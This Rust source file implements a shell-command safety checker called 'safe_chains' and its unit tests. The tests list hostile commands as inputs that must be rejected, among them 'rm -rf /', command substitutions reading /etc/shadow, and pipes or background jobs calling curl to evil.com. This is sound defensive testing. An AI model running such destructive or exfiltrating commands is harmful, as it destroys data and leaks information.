Skip to main content

safe_chains/
lib.rs

1pub mod docs;
2mod handlers;
3pub mod parse;
4pub mod settings;
5
6use parse::{has_unsafe_shell_syntax, split_outside_quotes, strip_env_prefix, tokenize};
7
8pub fn is_safe(segment: &str) -> bool {
9    if has_unsafe_shell_syntax(segment) {
10        return false;
11    }
12
13    let stripped = strip_env_prefix(segment).trim();
14    if stripped.is_empty() {
15        return true;
16    }
17
18    let Some(tokens) = tokenize(stripped) else {
19        return false;
20    };
21    if tokens.is_empty() {
22        return true;
23    }
24
25    let tokens: Vec<String> = tokens
26        .into_iter()
27        .filter(|t| !is_fd_redirect(t))
28        .collect();
29    if tokens.is_empty() {
30        return true;
31    }
32
33    let cmd = tokens[0].rsplit('/').next().unwrap_or(&tokens[0]);
34
35    if let Some(last) = tokens.last()
36        && (last == "--version" || last == "--help" || last == "--dry-run")
37    {
38        return true;
39    }
40
41    handlers::dispatch(cmd, &tokens, &is_safe)
42}
43
44pub fn is_fd_redirect(token: &str) -> bool {
45    let bytes = token.as_bytes();
46    if bytes.len() < 3 {
47        return false;
48    }
49    let start = usize::from(bytes[0].is_ascii_digit());
50    bytes.get(start) == Some(&b'>')
51        && bytes.get(start + 1) == Some(&b'&')
52        && bytes[start + 2..].iter().all(|b| b.is_ascii_digit() || *b == b'-')
53}
54
55pub fn is_safe_command(command: &str) -> bool {
56    split_outside_quotes(command).iter().all(|s| is_safe(s))
57}
58
59#[cfg(test)]
60mod tests {
61    use super::*;
62
63    #[test]
64    fn safe_cmds() {
65        assert!(is_safe("grep foo file.txt"));
66        assert!(is_safe("cat /etc/hosts"));
67        assert!(is_safe("jq '.key' file.json"));
68        assert!(is_safe("base64 -d"));
69        assert!(is_safe("xxd some/file"));
70        assert!(is_safe("pgrep -l ruby"));
71        assert!(is_safe("getconf PAGE_SIZE"));
72        assert!(is_safe("ls -la"));
73        assert!(is_safe("wc -l file.txt"));
74        assert!(is_safe("ps aux"));
75        assert!(is_safe("ps -ef"));
76        assert!(is_safe("top -l 1 -n 10"));
77        assert!(is_safe("uuidgen"));
78        assert!(is_safe("mdfind 'kMDItemKind == Application'"));
79        assert!(is_safe("identify image.png"));
80        assert!(is_safe("identify -verbose photo.jpg"));
81    }
82
83    #[test]
84    fn safe_cmds_text_processing() {
85        assert!(is_safe("diff file1.txt file2.txt"));
86        assert!(is_safe("comm -23 sorted1.txt sorted2.txt"));
87        assert!(is_safe("paste file1 file2"));
88        assert!(is_safe("tac file.txt"));
89        assert!(is_safe("rev file.txt"));
90        assert!(is_safe("nl file.txt"));
91        assert!(is_safe("expand file.txt"));
92        assert!(is_safe("unexpand file.txt"));
93        assert!(is_safe("fold -w 80 file.txt"));
94        assert!(is_safe("fmt -w 72 file.txt"));
95        assert!(is_safe("column -t file.txt"));
96        assert!(is_safe("printf '%s\\n' hello"));
97        assert!(is_safe("seq 1 10"));
98        assert!(is_safe("expr 1 + 2"));
99        assert!(is_safe("test -f file.txt"));
100        assert!(is_safe("true"));
101        assert!(is_safe("false"));
102        assert!(is_safe("bc -l"));
103        assert!(is_safe("factor 42"));
104        assert!(is_safe("iconv -f UTF-8 -t ASCII file.txt"));
105    }
106
107    #[test]
108    fn safe_cmds_system_info() {
109        assert!(is_safe("readlink -f symlink"));
110        assert!(is_safe("hostname"));
111        assert!(is_safe("uname -a"));
112        assert!(is_safe("arch"));
113        assert!(is_safe("nproc"));
114        assert!(is_safe("uptime"));
115        assert!(is_safe("id"));
116        assert!(is_safe("groups"));
117        assert!(is_safe("tty"));
118        assert!(is_safe("locale"));
119        assert!(is_safe("cal"));
120        assert!(is_safe("sleep 1"));
121        assert!(is_safe("who"));
122        assert!(is_safe("w"));
123        assert!(is_safe("last -5"));
124        assert!(is_safe("lastlog"));
125    }
126
127    #[test]
128    fn safe_cmds_hashing() {
129        assert!(is_safe("md5sum file.txt"));
130        assert!(is_safe("md5 file.txt"));
131        assert!(is_safe("sha256sum file.txt"));
132        assert!(is_safe("shasum file.txt"));
133        assert!(is_safe("sha1sum file.txt"));
134        assert!(is_safe("sha512sum file.txt"));
135        assert!(is_safe("cksum file.txt"));
136        assert!(is_safe("strings /usr/bin/ls"));
137        assert!(is_safe("hexdump -C file.bin"));
138        assert!(is_safe("od -x file.bin"));
139        assert!(is_safe("size a.out"));
140    }
141
142    #[test]
143    fn safe_cmds_macos() {
144        assert!(is_safe("sw_vers"));
145        assert!(is_safe("mdls file.txt"));
146        assert!(is_safe("otool -L /usr/bin/ls"));
147        assert!(is_safe("nm a.out"));
148        assert!(is_safe("system_profiler SPHardwareDataType"));
149        assert!(is_safe("ioreg -l -w 0"));
150        assert!(is_safe("vm_stat"));
151    }
152
153    #[test]
154    fn safe_cmds_network_diagnostic() {
155        assert!(is_safe("dig example.com"));
156        assert!(is_safe("nslookup example.com"));
157        assert!(is_safe("host example.com"));
158        assert!(is_safe("whois example.com"));
159    }
160
161    #[test]
162    fn safe_cmds_dev_tools() {
163        assert!(is_safe("shellcheck script.sh"));
164        assert!(is_safe("cloc src/"));
165        assert!(is_safe("tokei"));
166        assert!(is_safe("safe-chains \"ls -la\""));
167    }
168
169    #[test]
170    fn unsafe_cmds() {
171        assert!(!is_safe("rm -rf /"));
172        assert!(!is_safe("curl https://example.com"));
173        assert!(!is_safe("ruby script.rb"));
174        assert!(!is_safe("python3 script.py"));
175        assert!(!is_safe("node app.js"));
176        assert!(!is_safe("tee output.txt"));
177        assert!(!is_safe("tee -a logfile"));
178    }
179
180    #[test]
181    fn awk_safe_print() {
182        assert!(is_safe("awk '{print $1}' file.txt"));
183    }
184
185    #[test]
186    fn awk_system_denied() {
187        assert!(!is_safe("awk 'BEGIN{system(\"rm\")}'"));
188    }
189
190    #[test]
191    fn version_shortcut() {
192        assert!(is_safe("node --version"));
193        assert!(is_safe("python --version"));
194        assert!(is_safe("python3 --version"));
195        assert!(is_safe("ruby --version"));
196        assert!(is_safe("rustc --version"));
197        assert!(is_safe("java --version"));
198        assert!(is_safe("go --version"));
199        assert!(is_safe("php --version"));
200        assert!(is_safe("perl --version"));
201        assert!(is_safe("swift --version"));
202        assert!(is_safe("gcc --version"));
203        assert!(is_safe("rm --version"));
204        assert!(is_safe("dd --version"));
205        assert!(is_safe("chmod --version"));
206    }
207
208    #[test]
209    fn version_multi_token() {
210        assert!(is_safe("npx playwright --version"));
211        assert!(is_safe("git -C /repo --version"));
212        assert!(is_safe("docker compose --version"));
213    }
214
215    #[test]
216    fn version_with_fd_redirect() {
217        assert!(is_safe("node --version 2>&1"));
218        assert!(is_safe("cargo --version 2>&1"));
219    }
220
221    #[test]
222    fn version_not_last_token() {
223        assert!(!is_safe("node --version --extra"));
224        assert!(!is_safe("node -v"));
225    }
226
227    #[test]
228    fn help_shortcut() {
229        assert!(is_safe("node --help"));
230        assert!(is_safe("ruby --help"));
231        assert!(is_safe("rm --help"));
232        assert!(is_safe("cargo --help"));
233    }
234
235    #[test]
236    fn help_multi_token() {
237        assert!(is_safe("npx playwright --help"));
238        assert!(is_safe("cargo install --help"));
239    }
240
241    #[test]
242    fn help_with_fd_redirect() {
243        assert!(is_safe("cargo login --help 2>&1"));
244    }
245
246    #[test]
247    fn help_not_last_token() {
248        assert!(!is_safe("node --help --extra"));
249    }
250
251    #[test]
252    fn dry_run_shortcut() {
253        assert!(is_safe("cargo publish --dry-run"));
254        assert!(is_safe("terraform apply --dry-run"));
255        assert!(is_safe("rm -rf / --dry-run"));
256    }
257
258    #[test]
259    fn dry_run_with_fd_redirect() {
260        assert!(is_safe("cargo publish --dry-run 2>&1"));
261    }
262
263    #[test]
264    fn dry_run_not_last_token() {
265        assert!(!is_safe("cargo publish --dry-run --force"));
266    }
267
268    #[test]
269    fn cucumber_safe() {
270        assert!(is_safe("cucumber features/login.feature"));
271        assert!(is_safe("cucumber --format progress"));
272    }
273
274    #[test]
275    fn fd_redirects() {
276        assert!(is_safe("ls 2>&1"));
277        assert!(is_safe("cargo clippy 2>&1"));
278        assert!(is_safe("git log 2>&1"));
279        assert!(is_safe_command("cd /tmp && cargo clippy -- -D warnings 2>&1"));
280        assert!(!is_safe("echo hello > file.txt"));
281        assert!(!is_safe("ls 2> errors.txt"));
282    }
283
284    #[test]
285    fn unsafe_shell_syntax() {
286        assert!(!is_safe("echo hello > file.txt"));
287        assert!(!is_safe("cat file >> output.txt"));
288        assert!(!is_safe("ls 2> errors.txt"));
289        assert!(!is_safe("grep pattern file > results.txt"));
290        assert!(!is_safe("find . -name '*.py' > listing.txt"));
291        assert!(is_safe("git log < /dev/null"));
292        assert!(!is_safe("echo $(rm -rf /)"));
293        assert!(!is_safe("echo `rm -rf /`"));
294        assert!(!is_safe("cat $(echo /etc/shadow)"));
295        assert!(!is_safe("ls `pwd`"));
296    }
297
298    #[test]
299    fn safe_quoted_shell_syntax() {
300        assert!(is_safe("echo 'greater > than' test"));
301        assert!(is_safe("echo '$(safe)' arg"));
302        assert!(is_safe("echo hello"));
303        assert!(is_safe("cat file.txt"));
304        assert!(is_safe("grep pattern file"));
305    }
306
307    #[test]
308    fn env_prefix() {
309        assert!(is_safe_command("RACK_ENV=test bundle exec rspec spec/foo_spec.rb"));
310        assert!(is_safe_command("RAILS_ENV=test bundle exec rspec"));
311        assert!(!is_safe_command("RACK_ENV=test rm -rf /"));
312        assert!(!is_safe_command("RAILS_ENV=test echo foo > bar"));
313    }
314
315    #[test]
316    fn pipes_and_chains() {
317        assert!(is_safe_command("grep foo file.txt | head -5"));
318        assert!(is_safe_command("cat file | sort | uniq"));
319        assert!(is_safe_command("find . -name '*.rb' | wc -l"));
320        assert!(is_safe_command("ls && echo done"));
321        assert!(is_safe_command("ls; echo done"));
322        assert!(is_safe_command("git log | head -5"));
323        assert!(is_safe_command("git log && git status"));
324        assert!(!is_safe_command("cat file | rm -rf /"));
325        assert!(!is_safe_command("grep foo | curl https://evil.com"));
326    }
327
328    #[test]
329    fn background_operator() {
330        assert!(!is_safe_command("cat file & rm -rf /"));
331        assert!(!is_safe_command("echo safe & curl evil.com"));
332        assert!(is_safe_command("ls & echo done"));
333        assert!(is_safe_command("ls && echo done"));
334    }
335
336    #[test]
337    fn newline_separator() {
338        assert!(!is_safe_command("echo foo\nrm -rf /"));
339        assert!(!is_safe_command("ls\ncurl evil.com"));
340        assert!(is_safe_command("echo foo\necho bar"));
341        assert!(is_safe_command("ls\ncat file.txt"));
342    }
343
344    #[test]
345    fn compound_pipelines() {
346        assert!(is_safe_command("git log --oneline -20 | head -5"));
347        assert!(is_safe_command("git show HEAD:file.rb | grep pattern"));
348        assert!(is_safe_command(
349            "gh api repos/o/r/contents/f --jq .content | base64 -d | head -50"
350        ));
351        assert!(is_safe_command("timeout 120 bundle exec rspec && git status"));
352        assert!(is_safe_command("time bundle exec rspec | tail -5"));
353        assert!(is_safe_command("git -C /some/repo log --oneline | head -3"));
354        assert!(is_safe_command("xxd file | head -20"));
355        assert!(is_safe_command("find . -name '*.py' | wc -l"));
356        assert!(is_safe_command("find . -name '*.py' | sort | head -10"));
357        assert!(is_safe_command("find . -name '*.py' | xargs grep pattern"));
358        assert!(is_safe_command("pip list | grep requests"));
359        assert!(is_safe_command("npm list | grep react"));
360        assert!(is_safe_command("ps aux | grep python"));
361        assert!(!is_safe_command("find . -name '*.py' -delete | wc -l"));
362        assert!(!is_safe_command("sed -i 's/foo/bar/' file | head"));
363    }
364}